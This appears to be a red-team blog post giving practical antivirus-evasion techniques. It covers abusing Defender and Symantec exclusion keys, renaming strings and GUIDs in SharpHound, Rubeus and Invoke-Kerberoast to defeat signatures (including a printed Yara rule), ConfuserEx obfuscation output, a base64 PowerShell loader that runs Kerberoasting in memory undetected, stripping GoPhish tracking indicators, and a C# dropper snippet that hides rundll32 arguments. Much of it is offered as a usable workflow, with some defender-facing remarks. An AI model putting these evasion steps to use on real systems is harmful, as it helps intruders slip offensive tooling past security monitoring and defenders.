Detection Evasion Practical Examples and Recommendations

This page is an attempt to document practical examples of Detection Evasion techniques as well give ideas towards this objective.

When we discuss about detections, we actually discuss about matching known bad patterns of historic activity with new activity. Something old that - at some point in the past - was flagged as bad is seen again and this time we are alerted on it. Detections are indicators of suspicious activity. Alerts are matches of indicators of compromise to newly seen activity.

The page is split in the following sections:

Leveraging blindspots: AntiVirus Exclusions

Sometimes to circumvent AntiVirus detections doesn’t require advanced techniques, encoding or 0-days. Exclusions create a gap in detections and a window for attackers to jump in and stay under the radar. Attackers can leverage this intentional (or unintentional) blindspot to run malicious code.

Windows Defender

Exclusions for Windows Defender are configured in the registry in the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\

The subkeys may contain information about excluded paths (for example exclude the path “C:\Users\Admin” from scans), processes (do not scan any process that has the name “edr_agent.exe”) and extensions (do not scan Outlook Data Files “.pst” and/or “.ost”)

Symantec Endpoint Protection

A basic search on the internet revealed that the exclusions for Symantec Endpoint are configured in the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Symantec\Symantec Endpoint Protection\AV\Exclusions

This path is said to be for the exclusions applied on to the client machines.

General Rule - Mind the low hanging fruits

Evasion is not always equal to exciting bypasses or undocumented techniques. Sometimes it’s just looking for that low-hanging fruit. For example, older systems may have older detection software (or may not have one at all). This could allow a threat actor to interogate the software’s settings. What if a compromised system has indeed a security software but that software makes it easy for users to review the quarantine settings and identify themselves the exclusions? The work gets a lot easier this way!

SharpHound, Visual Studio and Windows Defender

Recently, I was experimenting with BloodHound and more specifically was trying to compile SharpHound to use it on a security engagement. However, it was not possible to build the project as Windows Defender was blocking the activity. After searching the web, in the official repository of the BloodHound I found the issue: https://github.com/BloodHoundAD/BloodHound/issues/292. And the following comment from BloodHound developer rvazarkar:

github_issue

I cloned the remote repository and went ahead to compile the solution using Visual Studio 2019 as described in the README.md page of the repository.

I went ahead and compiled the project using Visual Studio 2019 as described in the README.md of SharpHound’s GitHub repository.

During the building process, Windows Defender alerted on the activity with the following detections:

After a few seconds, Windows Defender took action against two of the generated files (SharpHound.ps1 and SharpHound.exe) and removed them.

Detection Evasion for SharpHound

We all know that detections are based on string matches: if you see X in the scanned file, take the Y action.

With this in mind, what if we alter some parts of the default project? Like for example find and replace all the strings that would potentially give away that the project is related to BloodHound.

So, we can use Visual Studio to search for strings like BloodHound and SharpHound and replace them with benign, like AdminTask and TaskAdmin, respectively.

Changing the strings and re-building the project, makes the BloodHound ingestor undetected!

There you are! A Sharphound ingestor ready to collect the data!

Detection Evasion for Invoke-Kerberoast PowerShell script

The Empire project may now be archived and no longer maintained, however it offers many useful PowerShell scripts useful in engagements. One of them is Invoke-Kerberoast, extremely useful when performing Kerberoasting in a Active Directory environment.

Likewise the detection evasion for SharpHound, if the strings that contain the word Kerberoast are replaced, the scripts manages to evade detection from security products that rely on this string for detecting the PowerShell script.

Anatomy of Detection for GhostBuild

\@bohops has made a nice collection of MSBuild launchers for various GhostPack and .NET projects. The collection is hosted on GitHub at: https://github.com/bohops/GhostBuild.

Assuming we would like to run Rubeus using the MSBuild launcher, we then would do:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe Rubeus.xml

However, Windows Defender immediately alerts on the building and eventually deletes Rubeus.xml. And the suffling begins!

In order to identify what exactly the signature is matching, we resort to removing strings from the file, save it, scan it and repeat the process until we end up in no detections. Correct, a rinse and repeat process!

Following this exact process we came down to removing the following strings that led to no detections:

Byte[] bytesBin = new byte[compressedBinSize];
using (MemoryStream inputStream = new MemoryStream(Convert.FromBase64String(compressedBin)))
{
	using (DeflateStream stream = new DeflateStream(inputStream, CompressionMode.Decompress))
	{
		stream.Read(bytesBin, 0, compressedBinSize);
	}
}

So much for GhostBuild.

Obfuscating Rubeus with ConfuserEx

It has become common practice in the Red Team community to use ConfuserEx to quickly obfuscate tools written in C#. There are numerous stories of people that at some point needed to drop a tool on the host and took that route.

In this section, I demonstrate the workflow to obfuscate Rubeus after compiling it on Visual Studio 2019. Although the output raises a number of detections on VirusTotal, the technique may foster results in penetration testing assessments where the clients are not using frontline defenses and rely solely on out of date AntiVirus solutions.

Find and Replace Obvious Strings

In this example I will be demonstrating obfuscation of Rubeus. I have downloaded Rubeus from the official GitHub repository located at: https://github.com/GhostPack/Rubeus.git

Some quite basic customizations you can make in projects like this, in which you have access to the source code are the following:

After making the following changes we compile the source code and create an assembly that does not contain at all the string Rubeus.

Next, we give this Assembly as input to ConfuserEx. ConfuserEx can be found in GitHub at: https://github.com/XenocodeRCE/neo-ConfuserEx.git

ConfuserEx supports packing - to make the output smaller in size - and 5 rules for obfuscation:

In this experiment, I have used the Aggressive rule with default options. Be aware that the Aggressive mode will likely alter the command line arguments and therefore the NetAssembly will become useless. Generating a working NetAssembly is beyond the purpose of this demo. The following is the ouput from ConfuserEx:

 [INFO] ConfuserEx v1.0.0 Copyright (C) Ki 2014
 [INFO] Running on Microsoft Windows NT 6.2.9200.0, .NET Framework v4.0.30319.42000, 64 bits
[DEBUG] Discovering plugins...
 [INFO] Discovered 11 protections, 1 packers.
[DEBUG] Resolving component dependency...
 [INFO] Loading input modules...
 [INFO] Loading 'AdminSchedule.exe'...
 [INFO] Initializing...
[DEBUG] Building pipeline...
[DEBUG] Executing 'Type scanner' phase...
 [INFO] Resolving dependencies...
[DEBUG] Checking Strong Name...
[DEBUG] Creating global .cctors...
[DEBUG] Watermarking...
[DEBUG] Executing 'Type scrambler' phase...
[DEBUG] 1] Import
[DEBUG] 0] Create
[DEBUG] 1] Create
[DEBUG] 2] Create
[DEBUG] 3] Create
[DEBUG] 4] Create
[DEBUG] 5] Create
[DEBUG] 6] Create
[DEBUG] 7] Create
[DEBUG] 8] Create
[DEBUG] 9] Create
[DEBUG] 10] Create
[DEBUG] 11] Create
[DEBUG] 12] Create
[DEBUG] 13] Create
[DEBUG] 14] Create
[DEBUG] 15] Create
[DEBUG] 16] Create
[DEBUG] 17] Create
[DEBUG] 18] Create
[DEBUG] 19] Create
[DEBUG] Executing 'Name analysis' phase...
[DEBUG] Building VTables & identifier list...
[DEBUG] Analyzing...
 [INFO] Processing module 'AdminSchedule.exe'...
[DEBUG] Executing 'Invalid metadata addition' phase...
[DEBUG] Executing 'Renaming' phase...
[DEBUG] Renaming...
[DEBUG] Executing 'Anti-debug injection' phase...
[DEBUG] Executing 'Anti-dump injection' phase...
[DEBUG] Executing 'Anti-ILDasm marking' phase...
[DEBUG] Executing 'Encoding reference proxies' phase...
[DEBUG] Executing 'Constant encryption helpers injection' phase...
[DEBUG] Executing 'Resource encryption helpers injection' phase...
[DEBUG] Executing 'Constants encoding' phase...
[DEBUG] Executing 'Anti-tamper helpers injection' phase...
[DEBUG] Executing 'Control flow mangling' phase...
[DEBUG] Executing 'Post-renaming' phase...
[DEBUG] Executing 'Anti-tamper metadata preparation' phase...
[DEBUG] Executing 'Packer info extraction' phase...
 [INFO] Writing module 'koi'...
[DEBUG] Encrypting resources...
 [INFO] Finalizing...
 [INFO] Packing...
[DEBUG] Encrypting modules...
 [INFO] Protecting packer stub...
[DEBUG] Discovering plugins...
 [INFO] Discovered 12 protections, 1 packers.
[DEBUG] Resolving component dependency...
 [INFO] Loading input modules...
 [INFO] Loading 'AdminSchedule.exe'...
 [INFO] Initializing...
[DEBUG] Building pipeline...
[DEBUG] Executing 'Type scanner' phase...
[DEBUG] Executing 'Module injection' phase...
 [INFO] Resolving dependencies...
[DEBUG] Checking Strong Name...
[DEBUG] Creating global .cctors...
[DEBUG] Watermarking...
[DEBUG] Executing 'Type scrambler' phase...
[DEBUG] 1] Import
[DEBUG] 0] Create
[DEBUG] 1] Create
[DEBUG] 2] Create
[DEBUG] 3] Create
[DEBUG] 4] Create
[DEBUG] 5] Create
[DEBUG] 6] Create
[DEBUG] 7] Create
[DEBUG] 8] Create
[DEBUG] 9] Create
[DEBUG] 10] Create
[DEBUG] 11] Create
[DEBUG] 12] Create
[DEBUG] 13] Create
[DEBUG] 14] Create
[DEBUG] 15] Create
[DEBUG] 16] Create
[DEBUG] 17] Create
[DEBUG] 18] Create
[DEBUG] 19] Create
[DEBUG] Executing 'Name analysis' phase...
[DEBUG] Building VTables & identifier list...
[DEBUG] Analyzing...
 [INFO] Processing module 'AdminSchedule.exe'...
[DEBUG] Executing 'Packer info encoding' phase...
[DEBUG] Executing 'Invalid metadata addition' phase...
[DEBUG] Executing 'Renaming' phase...
[DEBUG] Renaming...
[DEBUG] Executing 'Anti-debug injection' phase...
[DEBUG] Executing 'Anti-dump injection' phase...
[DEBUG] Executing 'Anti-ILDasm marking' phase...
[DEBUG] Executing 'Encoding reference proxies' phase...
[DEBUG] Executing 'Constant encryption helpers injection' phase...
[DEBUG] Executing 'Resource encryption helpers injection' phase...
[DEBUG] Executing 'Constants encoding' phase...
[DEBUG] Executing 'Anti-tamper helpers injection' phase...
[DEBUG] Executing 'Control flow mangling' phase...
[DEBUG] Executing 'Post-renaming' phase...
[DEBUG] Executing 'Anti-tamper metadata preparation' phase...
[DEBUG] Executing 'Packer info extraction' phase...
 [INFO] Writing module 'AdminSchedule.exe'...
 [INFO] Finalizing...
[DEBUG] Saving to 'C:\Users\test\AppData\Local\Temp\3b5txprc.sdh\zlvigg50.nks\AdminSchedule.exe'...
[DEBUG] Executing 'Export symbol map' phase...
 [INFO] Finish protecting packer stub.
[DEBUG] Saving to 'C:\Users\test\Desktop\confuser\input\Confused\AdminSchedule.exe'...
[DEBUG] Executing 'Export symbol map' phase...
 [INFO] Done.
Finished at 27:40 PM, 2:22 elapsed.

The generated NetAssembly (SHA-256: 1785e00ae33d8454810a37671ea6535b4e59dab28d5f9efd487c004310f51577) on the first upload to VirusTotal triggered 27 detections.

The confused NetAssembly (ConfuserEx output - SHA-256: f64028a2b60d3a54844dc2430d82a795b05bec9ab721df2b261128ccc1f401f8) on the first upload to VirusTotal triggered 32 detections.

Sadly, ConfuserEx does not provide a mapping of the altered strings to the native strings and as mentioned earlier, the command line arguments become useless. However, as we have access to the source code, we can generate a NetAssembly with hardcoded, pre-selected arguments and then confuse the generated output.

Additional Step to AntiVirus Evasion - Rubeus

The previous two submissions detailed above had a number of Rubeus detections. I took the extra step and altered a little bit the GUID 658c8b7f-3664-4a95-9572-a3e5871dfc06 on Visual Studio. This GUID is described in the following Yara:

rule HKTL_NET_GUID_Rubeus {
    meta:
        description = "Detects c# red/black-team tools via typelibguid"
        reference = "https://github.com/GhostPack/Rubeus"
        license = "https://creativecommons.org/licenses/by-nc/4.0/"
        author = "Arnim Rupp"
        date = "2020-12-13"
    strings:
        $typelibguid0 = "658c8b7f-3664-4a95-9572-a3e5871dfc06" ascii nocase wide
    condition:
        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
}

I found the Yara in the “Community” tab of VirusTotal on my two previous sample submissions. The Yara is also located at: https://github.com/Neo23x0/signature-base/blob/e360605894c12859de36f28fda95140aa330694b/yara/gen_github_net_redteam_tools_guids.yar

Again, I replaced all the “Rubeus” strings, changed the AssemblyName as well as the NameSpace. The generated sample (SHA-256: bf75b4b40d585d4140e5ab64d52ecac9b6904968118439c7f25a26c5f6aa49da) initially triggered 16 out of 69 detections, however this time no Rubeus detections observed. This indicates that the Rubeus detection is conveyed from the default GUID string.

Antivirus Evasion for PowerSploit PowerShell Scripts

In infrastructure penetration testing assessments you may want to run PowerShell scripts in environments that are not mature in terms of security or they don’t implement the latest and greatest detection techniques. In some cases, the off-the-shelf tools and scripts may be well sigantured and therefore detected. Of course we can go down the road of introducing additional layers of obfuscation using again the same - publicly - available tools.

For example, to obfuscate PowerShell scripts, PowerSploit (located at: https://github.com/PowerShellMafia/PowerSploit) offers a script to obfuscate a given script. The script is Out-EncryptedScript.

So, if we use this script to obfuscate PowerShell Empire’s (located at: https://github.com/EmpireProject/Empire) Invoke-Kerberoast, the output is indeed obfuscate, however many detections already exist. To test if any detections exist, I obfuscated the Invoke-Powershell and checked on VirusTotal the detections (hash: 3ff731e49152187e462d1a1a6e6bd98e731d2f72f29e56c8b069188eeb76a6e3). Initially, the output script raised 18 detections.

It’s well expected that for any public tool signatures and detections exists. The question is if and how we can actually make the tools undetected.

In order to keep this section short, the analysis of how PowerSploit obfuscates the provided scripts is skipped.

However, what I do demonstrate, is how I took Invoke-Kerberoast and following PowerSploit’s workflow, simply base64 encoded Invoke-Kerberoast and included it within a variable in the following benign looking script:

function de{
    $encoding = New-Object System.Text.ASCIIEncoding;
    $enc="\<base64_encoded script\>";
    $bytes=[Convert]::FromBase64String($enc);
    $dec=$encoding.GetString($bytes);
    return $dec
}

In order to run the above script you simply do, what PowerSploit instructs:

[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de
Invoke-Expression $decrypted

After the above commands are entered, invoke the script by:

Invoke-Kerberoast

And ta-da! You now have a working script you can load and execute in memory. The base65 encoded script (hash: e05c88919b8a15796605816f6a39bc23f17fd87504db96f718e39cdcb7afea11) has 0 detections, meaning that it can be dropped on a machine without being detected as the PowerSploit’s output from Out-EncryptedScript do.

Of course, additional steps can be introduced, like for example changing strings within the Invoke-Kerberoast script, introducing a custom encoding algorithm and adding a salt during the encoding/encryption.

GoPhish Indicators

GoPhish [1] is an open-source phishing framework used to assess the resilience of an organization against phishing. Quite often is used in simulated attacks to mimic attacker activity targeting an organization.

To detect GoPhish, defenders should be looking for the following strings in mail traffic as well as in the content of emails:

This string is used to track the delivery of a phishing email sent by GoPhish, in other words…if the phishing email is opened by the recipient. What happens under the hood is that when the email is rendered (viewed by a user) a callback request is made to the GoPhish server for the resource /track and additionall to associate that callback with a specific identity - the targeted user account - the rid is appended.

A detection evasion step would then be to change the source code of this framework and replace the above string to something else. This would also ensure the operation security of the engagement.

To do that:

git clone https://github.com/gophish/gophish.git
cd gophish
grep -r "/track?" ./*

This search returns the following results:

./controllers/phish_test.go:    resp, err := http.Get(fmt.Sprintf("%s/track?%s=%s", ctx.phishServer.URL, models.RecipientParameter, rid))
./controllers/phish_test.go:    resp, err := http.Get(fmt.Sprintf("%s/track?%s=%s", ctx.phishServer.URL, models.RecipientParameter, rid))
./models/attachment_test.go:            TrackingURL: "http://testurl.local/track?rid=1234567",
./models/attachment_test.go:            Tracker:     "<img alt='' style='display: none' src='http://testurl.local/track?rid=1234567'/>",
./models/testdata/html-file-with-vars.templated.html:<img alt='' style='display: none' src='http://testurl.local/track?rid=1234567'/>
./models/testdata/text-file-with-vars.templated.txt:The URL to the tracking handler: http://testurl.local/track?rid=1234567
./models/testdata/text-file-with-vars.templated.txt:An alias for tracker image: <img alt='' style='display: none' src='http://testurl.local/track?rid=1234567'/>
./models/template_context_test.go:              TrackingURL:   fmt.Sprintf("%s/track?rid=%s", ctx.URL, r.RId),

To expand the search a little:

grep -r "/track" ./*

The results:

./controllers/phish.go: router.HandleFunc("/track", ps.TrackHandler)
./controllers/phish.go: router.HandleFunc("/{path:.*}/track", ps.TrackHandler)
./controllers/phish_test.go:    resp, err := http.Get(fmt.Sprintf("%s/track?%s=%s", ctx.phishServer.URL, models.RecipientParameter, rid))
./controllers/phish_test.go:            t.Fatalf("error requesting /track endpoint: %v", err)
./controllers/phish_test.go:            t.Fatalf("error reading response body from /track endpoint: %v", err)
./controllers/phish_test.go:    resp, err := http.Get(fmt.Sprintf("%s/track?%s=%s", ctx.phishServer.URL, models.RecipientParameter, rid))
./controllers/phish_test.go:            t.Fatalf("error requesting /track endpoint: %v", err)
./controllers/phish_test.go:            t.Fatalf("invalid status code received for /track endpoint. expected %d got %d", expected, got)
./controllers/phish_test.go:    resp, err := http.Get(fmt.Sprintf("%s/track", ctx.phishServer.URL))
./controllers/phish_test.go:            t.Fatalf("error requesting /track endpoint: %v", err)
./controllers/phish_test.go:            t.Fatalf("invalid status code received for /track endpoint. expected %d got %d", expected, got)
./controllers/phish_test.go:            t.Fatalf("error requesting /track endpoint: %v", err)
./controllers/phish_test.go:            t.Fatalf("invalid status code received for /track endpoint. expected %d got %d", expectedStatus, got)
./controllers/phish_test.go:    transparencyRequest(t, ctx, result, rid, "/track")
./controllers/phish_test.go:    transparencyRequest(t, ctx, result, rid, "/track")
./controllers/phish_test.go:            t.Fatalf("invalid status code received for /track endpoint. expected %d got %d", expectedStatus, got)
Binary file ./gophish matches
./models/attachment_test.go:            TrackingURL: "http://testurl.local/track?rid=1234567",
./models/attachment_test.go:            Tracker:     "<img alt='' style='display: none' src='http://testurl.local/track?rid=1234567'/>",
./models/testdata/html-file-with-vars.templated.html:<img alt='' style='display: none' src='http://testurl.local/track?rid=1234567'/>
./models/testdata/text-file-with-vars.templated.txt:The URL to the tracking handler: http://testurl.local/track?rid=1234567
./models/testdata/text-file-with-vars.templated.txt:An alias for tracker image: <img alt='' style='display: none' src='http://testurl.local/track?rid=1234567'/>
./models/template_context.go:   trackingURL.Path = path.Join(trackingURL.Path, "/track")
./models/template_context_test.go:              TrackingURL:   fmt.Sprintf("%s/track?rid=%s", ctx.URL, r.RId),

Hiding Command Line Arguments with C#

A binary written in C# and used as a dropper in the environment of one of my clients, opened a command prompt process with hidden window to run the native Windows utility rundll32.exe to then run a malicious DLL that earlier dropped on disk. The objective of this technique was to hide arguments provided to the process and eventually evade signatures that look for suspicious arguments. However, the execution chain reveals the parent-child relationship of the processes involved and can assist responders during incident investigations.

using System;
using System.Diagnostics;
using System.Threading;

namespace TTPRepro
{
    class Program
    {
        static void Main(string[] args)
        {
            Process myproc = new Process();

            myproc.StartInfo = new ProcessStartInfo
            {
                FileName = "cmd.exe",
                Arguments = "",
                CreateNoWindow = true,
                UseShellExecute = false,
                RedirectStandardInput = true
            };

            bool flag = myproc.Start();

            myproc.StandardInput.WriteLine("rundll32.exe %APPDATA%\somedll.dll,ExportFunction");

            Thread.Sleep(10000);
            myproc.Close();
        }
    }
}

References

[1] https://getgophish.com

tags: #detection evasion